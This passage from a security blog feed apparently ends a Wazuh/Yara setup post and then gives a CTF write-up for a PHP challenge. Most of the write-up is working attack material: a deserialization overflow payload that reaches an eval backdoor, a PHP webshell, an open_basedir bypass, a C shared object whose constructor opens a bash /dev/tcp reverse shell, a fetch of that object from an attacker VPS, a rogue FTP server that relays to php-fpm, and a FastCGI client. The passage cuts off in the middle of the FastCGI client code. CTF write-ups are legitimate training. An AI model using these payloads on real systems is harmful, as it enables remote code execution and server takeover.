tag"><span class="token punctuation">&lt;</span>parent</span><span class="token punctuation">></span></span>yara_decoder<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>parent</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>regex</span><span class="token punctuation">></span></span>wazuh-yara: (\S+) - Scan result: (\S+) (\S+)<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>regex</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>order</span><span class="token punctuation">></span></span>log_type, yara_rule, yara_scanned_file<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>order</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>decoder</span><span class="token punctuation">></span></span></code></pre><p>流程是，通过监控<code>/home/yara/malware/</code>目录中的文件添加和修改动作，然后触发<code>yara command</code>执行sh脚本，写内容到endpoint的<code>/var/ossec/logs/active-responses.log</code>文件，wazuh监控到log文件的变化，读取后通过yara_decoder解析内容，匹配到后以一个新的<code>rule.group</code>为<code>yara</code>的组显示到<code>Kibana</code>界面上</p><p>至此流程拉通</p><p>Wazuh还有很多功能需要探索</p><p>能把官方文档看明白，wazuh就算入门了</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3 id=&quot;环境部署&quot;&gt;&lt;a href=&quot;#环境部署&quot; class=&quot;headerlink&quot; title=&quot;环境部署&quot;&gt;&lt;/a&gt;环境部署&lt;/h3&gt;&lt;p&gt;系统环境全都是CentOS 7.9&lt;/p&gt;
&lt;p&gt;我们主要目的是在Wazuh上测试Yara，所以选择最快的部署方式&lt;/p&gt;

      
    
    </summary>
    
    
      <category term="备忘录" scheme="https://www.extrader.top/categories/%E5%A4%87%E5%BF%98%E5%BD%95/"/>
    
    
      <category term="Wazuh" scheme="https://www.extrader.top/tags/Wazuh/"/>
    
      <category term="Yara" scheme="https://www.extrader.top/tags/Yara/"/>
    
  </entry>
  
  <entry>
    <title>蓝帽杯_2021_One_Pointer_PHP</title>
    <link href="https://www.extrader.top/posts/3ed094c3/"/>
    <id>https://www.extrader.top/posts/3ed094c3/</id>
    <published>2021-12-07T06:32:18.000Z</published>
    <updated>2022-03-26T05:48:51.044Z</updated>
    
    <content type="html"><![CDATA[<p>题目给了两个文件</p><p><code>add_api.php</code></p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token keyword">include</span> <span class="token string double-quoted-string">"user.php"</span><span class="token punctuation">;</span><span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$user</span><span class="token operator">=</span><span class="token function">unserialize</span><span class="token punctuation">(</span><span class="token variable">$_COOKIE</span><span class="token punctuation">[</span><span class="token string double-quoted-string">"data"</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token variable">$count</span><span class="token punctuation">[</span><span class="token operator">++</span><span class="token variable">$user</span><span class="token operator">-></span><span class="token property">count</span><span class="token punctuation">]</span><span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span><span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$count</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token variable">$user</span><span class="token operator">-></span><span class="token property">count</span><span class="token operator">+=</span><span class="token number">1</span><span class="token punctuation">;</span><span class="token function">setcookie</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"data"</span><span class="token punctuation">,</span><span class="token function">serialize</span><span class="token punctuation">(</span><span class="token variable">$user</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">else</span><span class="token punctuation">&#123;</span><span class="token keyword">eval</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string double-quoted-string">"backdoor"</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">else</span><span class="token punctuation">&#123;</span><span class="token variable">$user</span><span class="token operator">=</span><span class="token keyword">new</span> <span class="token class-name">User</span><span class="token punctuation">;</span><span class="token variable">$user</span><span class="token operator">-></span><span class="token property">count</span><span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span><span class="token function">setcookie</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"data"</span><span class="token punctuation">,</span><span class="token function">serialize</span><span class="token punctuation">(</span><span class="token variable">$user</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token delimiter important">?></span></span></code></pre><p><code>user.php</code></p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token keyword">class</span> <span class="token class-name-definition class-name">User</span><span class="token punctuation">&#123;</span><span class="token keyword">public</span> <span class="token variable">$count</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token delimiter important">?></span></span></code></pre><h3 id="PHP-数组溢出"><a href="#PHP-数组溢出" class="headerlink" title="PHP 数组溢出"></a>PHP 数组溢出</h3><p>主要考查反序列化和php数组溢出绕过，关于php数组溢出可以参考：<a href="https://two.github.io/2015/09/15/PHP-array-hash-key-overflow/">PHP数组的key溢出问题</a></p><p>直接给出<code>payload</code></p><pre class="language-none"><code class="language-none">?backdoor&#x3D;file_put_contents(&quot;1.php&quot;,&quot;&lt;?php @eval(\$_POST[1])?&gt;&quot;);Cookie: data&#x3D;O%3a4%3a&quot;User&quot;%3a1%3a&#123;s%3a5%3a&quot;count&quot;%3bi%3a9223372036854775806%3b&#125;</code></pre><p>查看<code>phpinfo</code></p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/%E8%93%9D%E5%B8%BD%E6%9D%AF_2021_One_Pointer_PHP/image-20211207145434342.png" alt loading="lazy"></p><pre class="language-none"><code class="language-none">disable_classes:Exception,SplDoublyLinkedList,Error,ErrorException,ArgumentCountError,ArithmeticError,AssertionError,DivisionByZeroError,CompileError,ParseError,TypeError,ValueError,UnhandledMatchError,ClosedGeneratorException,LogicException,BadFunctionCallException,BadMethodCallException,DomainException,InvalidArgumentException,LengthException,OutOfRangeException,PharException,ReflectionException,RuntimeException,OutOfBoundsException,OverflowException,PDOException,RangeException,UnderflowException,UnexpectedValueException,JsonException,SodiumException    Exception,SplDoublyLinkedList,Error,ErrorException,ArgumentCountError,ArithmeticError,AssertionError,DivisionByZeroError,CompileError,ParseError,TypeError,ValueError,UnhandledMatchError,ClosedGeneratorException,LogicException,BadFunctionCallException,BadMethodCallException,DomainException,InvalidArgumentException,LengthException,OutOfRangeException,PharException,ReflectionException,RuntimeException,OutOfBoundsException,OverflowException,PDOException,RangeException,UnderflowException,UnexpectedValueException,JsonException,SodiumExceptiondisable_functions:stream_socket_client,fsockopen,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive</code></pre><p>可以通过</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token function">printf</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'&lt;b>open_basedir : %s &lt;/b>&lt;br />'</span><span class="token punctuation">,</span> <span class="token function">ini_get</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'open_basedir'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$file_list</span> <span class="token operator">=</span> <span class="token keyword">array</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// normal files</span><span class="token variable">$it</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">DirectoryIterator</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"glob:///*"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">foreach</span><span class="token punctuation">(</span><span class="token variable">$it</span> <span class="token keyword">as</span> <span class="token variable">$f</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token variable">$file_list</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token variable">$f</span><span class="token operator">-></span><span class="token function">__toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token comment">// special files (starting with a dot(.))</span><span class="token variable">$it</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">DirectoryIterator</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"glob:///.*"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">foreach</span><span class="token punctuation">(</span><span class="token variable">$it</span> <span class="token keyword">as</span> <span class="token variable">$f</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token variable">$file_list</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token variable">$f</span><span class="token operator">-></span><span class="token function">__toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token function">sort</span><span class="token punctuation">(</span><span class="token variable">$file_list</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">foreach</span><span class="token punctuation">(</span><span class="token variable">$file_list</span> <span class="token keyword">as</span> <span class="token variable">$f</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        <span class="token keyword">echo</span> <span class="token string double-quoted-string">"<span class="token interpolation"><span class="token punctuation">&#123;</span><span class="token variable">$f</span><span class="token punctuation">&#125;</span></span>&lt;br/>"</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span></span></code></pre><p>列根目录</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/%E8%93%9D%E5%B8%BD%E6%9D%AF_2021_One_Pointer_PHP/image-20211207145739940.png" alt loading="lazy"></p><p>限制了<code>open_basedir</code>为 <code>/var/www/html</code></p><p>利用<code>chdir()</code>与<code>ini_set()</code>组合来绕过，当然这个操作首先需要拥有当前目录写权限，或者存在一个可以cd进去的子目录</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token function">mkdir</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'test'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">chdir</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'test'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">ini_set</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'open_basedir'</span><span class="token punctuation">,</span><span class="token string single-quoted-string">'..'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">chdir</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'..'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">chdir</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'..'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">chdir</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'..'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">chdir</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'..'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">ini_set</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'open_basedir'</span><span class="token punctuation">,</span><span class="token string single-quoted-string">'/'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">var_dump</span><span class="token punctuation">(</span><span class="token function">file_get_contents</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"/flag"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span></code></pre><p>读文件</p><p>但是并读不到flag文件，估计权限不够</p><h3 id="攻击-php-fpm绕disable-functions"><a href="#攻击-php-fpm绕disable-functions" class="headerlink" title="攻击 php-fpm绕disable_functions"></a>攻击 php-fpm绕disable_functions</h3><p>读取<code>/proc/self/cmdline</code>，发现当前进程是 <code>php-fpm</code>，读取<code>/etc/nginx/sites-available/default</code>文件</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/%E8%93%9D%E5%B8%BD%E6%9D%AF_2021_One_Pointer_PHP/image-20211207151626495.png" alt loading="lazy"></p><p><code>php-fpm</code> 绑定在了本地 <code>9001</code> 端口</p><p>于是我们可以构造恶意代码利用<code>ssrf</code>攻击本地的<code>php-fpm</code>，通过在<code>vps</code>上搭建恶意的<code>ftp</code>，骗取目标主机将<code>payload</code>转发到自己的<code>9001</code>端口上，从而执行命令，当然这里直接用<code>curl</code>配合<code>gopher</code>协议也可以直接打，就不需要<code>ftp</code>了，但是好像并打不通</p><p>原理如下</p><p>通过eval()构造一下代码</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token function">file_put_contents</span><span class="token punctuation">(</span><span class="token variable">$file</span><span class="token punctuation">,</span><span class="token variable">$data</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre><blockquote><p>FTP 协议允许通过 TCP 发送二进制数据包，更准确的说是该协议的被动模式，即：如果一个客户端试图从FTP服务器上读取一个文件（或写入），服务器会通知客户端将文件的内容读取（或写）到一个特定的IP和端口上。而且，这里对这些IP和端口没有进行必要的限制。例如，服务器可以告诉客户端连接到自己的某一个端口，如果它愿意的话。</p></blockquote><p>如果我们传入 <code>?file=ftp://evil-server/file.txt&amp;data=payload</code> ，会发生以下情况：</p><blockquote><p>首先通过 file_put_contents() 函数连接到我们的FTP服务器，并试图使用 file_put_contents() 把文件上传上去。但是我们搭建的恶意的ftp服务器将告诉它把文件发送到 127.0.0.1:9000。这样，我们就可以向目标主机本地的 PHP-FPM 发送一个任意的数据包，从而执行代码，造成SSRF了。</p></blockquote><p>写一个<code>so</code>扩展</p><pre class="language-c" data-language="c"><code class="language-c"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdlib.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;string.h></span></span><span class="token keyword">__attribute__</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>__constructor__<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token keyword">void</span> <span class="token function">preload</span> <span class="token punctuation">(</span><span class="token keyword">void</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token function">system</span><span class="token punctuation">(</span><span class="token string">"bash -c 'bash -i >&amp; /dev/tcp/ip/2333 0>&amp;1'"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span></code></pre><p>编译</p><pre class="language-bash" data-language="bash"><code class="language-bash">gcc a.c -fPIC -shared -o a.so</code></pre><p>上传到服务器</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token function">base64_encode</span><span class="token punctuation">(</span><span class="token function">file_get_contents</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'a.so'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre><p>获取到<code>so</code>文件，<code>base64</code>编码后的内容</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token function">file_put_contents</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'a.so'</span><span class="token punctuation">,</span><span class="token function">base64_decode</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'xxx'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre><p>使用刚才的<code>1.php</code>将<code>a.so</code>文件写到服务器；</p><p>也可以这样写，直接从vps下载</p><pre class="language-php" data-language="php"><code class="language-php">add_api<span class="token operator">.</span>php<span class="token operator">?</span>backdoor<span class="token operator">=</span><span class="token function">mkdir</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'test'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">chdir</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'test'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">ini_set</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'open_basedir'</span><span class="token punctuation">,</span><span class="token string single-quoted-string">'..'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">chdir</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'..'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">chdir</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'..'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">chdir</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'..'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">chdir</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'..'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">ini_set</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'open_basedir'</span><span class="token punctuation">,</span><span class="token string single-quoted-string">'/'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">copy</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'http://ip/a.so'</span></code></pre><p>在自己<code>vps</code>搭一个恶意的<code>ftp</code>服务器，使用的是 <code>FTP</code> 协议的被动模式</p><p><code>ftp_server.py</code></p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> sockets <span class="token operator">=</span> socket<span class="token punctuation">.</span>socket<span class="token punctuation">(</span>socket<span class="token punctuation">.</span>AF_INET<span class="token punctuation">,</span> socket<span class="token punctuation">.</span>SOCK_STREAM<span class="token punctuation">)</span> s<span class="token punctuation">.</span>bind<span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token string">'0.0.0.0'</span><span class="token punctuation">,</span> <span class="token number">123</span><span class="token punctuation">)</span><span class="token punctuation">)</span>s<span class="token punctuation">.</span>listen<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>conn<span class="token punctuation">,</span> addr <span class="token operator">=</span> s<span class="token punctuation">.</span>accept<span class="token punctuation">(</span><span class="token punctuation">)</span>conn<span class="token punctuation">.</span>send<span class="token punctuation">(</span><span class="token string">b'220 welcome\n'</span><span class="token punctuation">)</span>conn<span class="token punctuation">.</span>send<span class="token punctuation">(</span><span class="token string">b'331 Please specify the password.\n'</span><span class="token punctuation">)</span>conn<span class="token punctuation">.</span>send<span class="token punctuation">(</span><span class="token string">b'230 Login successful.\n'</span><span class="token punctuation">)</span>conn<span class="token punctuation">.</span>send<span class="token punctuation">(</span><span class="token string">b'200 Switching to Binary mode.\n'</span><span class="token punctuation">)</span>conn<span class="token punctuation">.</span>send<span class="token punctuation">(</span><span class="token string">b'550 Could not get the file size.\n'</span><span class="token punctuation">)</span>conn<span class="token punctuation">.</span>send<span class="token punctuation">(</span><span class="token string">b'150 ok\n'</span><span class="token punctuation">)</span>conn<span class="token punctuation">.</span>send<span class="token punctuation">(</span><span class="token string">b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n'</span><span class="token punctuation">)</span> <span class="token comment">#STOR / (2)</span>conn<span class="token punctuation">.</span>send<span class="token punctuation">(</span><span class="token string">b'150 Permission denied.\n'</span><span class="token punctuation">)</span>conn<span class="token punctuation">.</span>send<span class="token punctuation">(</span><span class="token string">b'221 Goodbye.\n'</span><span class="token punctuation">)</span>conn<span class="token punctuation">.</span>close<span class="token punctuation">(</span><span class="token punctuation">)</span></code></pre><p>使用以下脚本生成攻击 <code>php-fpm</code>的 <code>payload</code>，<a href="https://php.okawhio.repl.co/static/2.py">https://php.okawhio.repl.co/static/2.py</a></p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token comment">/** * Note : Code is released under the GNU LGPL * * Please do not change the header of this file * * This library is free software; you can redistribute it and/or modify it under the terms of the GNU * Lesser General Public License as published by the Free Software Foundation; either version 2 of * the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * * See the GNU Lesser General Public License for more details. */</span><span class="token comment">/** * Handles communication with a FastCGI application * * @author      Pierrick Charron &lt;pierrick@webstart.fr> * @version     1.0 */</span><span class="token keyword">class</span> <span class="token class-name-definition class-name">FCGIClient</span><span class="token punctuation">&#123;</span>    <span class="token keyword">const</span> <span class="token constant">VERSION_1</span>            <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> <span class="token constant">BEGIN_REQUEST</span>        <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> <span class="token constant">ABORT_REQUEST</span>        <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> <span class="token constant">END_REQUEST</span>          <span class="token operator">=</span> <span class="token number">3</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> <span class="token constant">PARAMS</span>               <span class="token operator">=</span> <span class="token number">4</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> <span class="token constant">STDIN</span>                <span class="token operator">=</span> <span class="token number">5</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> <span class="token constant">STDOUT</span>               <span class="token operator">=</span> <span class="token number">6</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> <span class="token constant">STDERR</span>               <span class="token operator">=</span> <span class="token number">7</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> <span class="token constant">DATA</span>                 <span class="token operator">=</span> <span class="token number">8</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> <span class="token constant">GET_VALUES</span>           <span class="token operator">=</span> <span class="token number">9</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> <span class="token constant">GET_VALUES_RESULT</span>    <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> <span class="token constant">UNKNOWN_TYPE</span>         <span class="token operator">=</span> <span class="token number">11</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> <span class="token constant">MAXTYPE</span>              <span class="token operator">=</span> <span class="token keyword static-context">self</span><span class="token operator">::</span><span class="token constant">UNKNOWN_TYPE</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> <span class="token constant">RESPONDER</span>            <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> <span class="token constant">AUTHORIZER</span>           <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> <span class="token constant">FILTER</span>               <span class="token operator">=</span> <span class="token number">3</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> <span class="token constant">REQUEST_COMPLETE</span>     <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> <span class="token constant">CANT_MPX_CONN</span>        <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> <span class="token constant">OVERLOADED</span>           <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> <span class="token constant">UNKNOWN_ROLE</span>         <span class="token operator">=</span> <span class="token number">3</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> <span class="token constant">MAX_CONNS</span>            <span class="token operator">=</span> <span class="token string single-quoted-string">'MAX_CONNS'</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> <span class="token constant">MAX_REQS</span>             <span class="token operator">=</span> <span class="token string single-quoted-string">'MAX_REQS'</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> <span class="token constant">MPXS_CONNS</span>           <span class="token operator">=</span> <span class="token string single-quoted-string">'MPXS_CONNS'</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> <span class="token constant">HEADER_LEN</span>           <span class="token operator">=</span> <span class="token number">8</span><span class="token punctuation">;</span>    <span class="token comment">/**     * Socket     * @var Resource     */</span>    <span class="token keyword">private</span> <span class="token variable">$_sock</span> <span class="token operator">=</span> <span class="token constant">null</span><span class="token punctuation">;</span>    <span class="token comment">/**     * Host     * @var String     */</span>    <span class="token keyword">private</span> <span class="token variable">$_host</span> <span class="token operator">=</span> <span class="token constant">null</span><span class="token punctuation">;</span>    <span class="token comment">/**     * Port     * @var Integer     */</span>    <span class="token keyword">private</span> <span class="token variable">$_port</span> <span class="token operator">=</span> <span class="token constant">null</span><span class="token punctuation">;</span>    <span class="token comment">/**     * Keep Alive     * @var Boolean     */</span>    <span class="token keyword">private</span> <span class="token variable">$_keepAlive</span> <span class="token operator">=</span> <span class="token constant boolean">false</span><span class="token punctuation">;</span>    <span class="token comment">/**     * Constructor     *     * @param String $host Host of the FastCGI application     * @param Integer $port Port of the FastCGI application     */</span>    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token variable">$host</span><span class="token punctuation">,</span> <span class="token variable">$port</span> <span class="token operator">=</span> <span class="token number">9001</span><span class="token punctuation">)</span> <span class="token comment">// and default value for port, just for unixdomain socket</span>    <span class="token punctuation">&#123;</span>        <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">_host</span> <span class="token operator">=</span> <span class="token variable">$host</span><span class="token punctuation">;</span>        <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">_port</span> <span class="token operator">=</span> <span class="token variable">$port</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token comment">/**     * Define whether or not the FastCGI application should keep the connection     * alive at the end of a request     *     * @param Boolean $b true if the connection should stay alive, false otherwise     */</span>    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">setKeepAlive</span><span class="token punctuation">(</span><span class="token variable">$b</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">_keepAlive</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword type-casting">boolean</span><span class="token punctuation">)</span><span class="token variable">$b</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">_keepAlive</span> <span class="token operator">&amp;&amp;</span> <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">_sock</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            <span class="token function">fclose</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">_sock</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token comment">/**     * Get the keep alive status     *     * @return Boolean true if the connection should stay alive, false otherwise     */</span>    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">getKeepAlive</span><span class="token punctuation">(</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token keyword">return</span> <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">_keepAlive</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token comment">/**     * Create a connection to the FastCGI application     */</span>    <span class="token keyword">private</span> <span class="token keyword">function</span> <span class="token function-definition function">connect</span><span class="token punctuation">(</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">_sock</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            <span class="token comment">//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);</span>            <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">_sock</span> <span class="token operator">=</span> <span class="token function">stream_socket_client</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">_host</span><span class="token punctuation">,</span> <span class="token variable">$errno</span><span class="token punctuation">,</span> <span class="token variable">$errstr</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">_sock</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Exception</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'Unable to connect to FastCGI application'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token punctuation">&#125;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token comment">/**     * Build a FastCGI packet     *     * @param Integer $type Type of the packet     * @param String $content Content of the packet     * @param Integer $requestId RequestId     */</span>    <span class="token keyword">private</span> <span class="token keyword">function</span> <span class="token function-definition function">buildPacket</span><span class="token punctuation">(</span><span class="token variable">$type</span><span class="token punctuation">,</span> <span class="token variable">$content</span><span class="token punctuation">,</span> <span class="token variable">$requestId</span> <span class="token operator">=</span> <span class="token number">1</span><span class="token 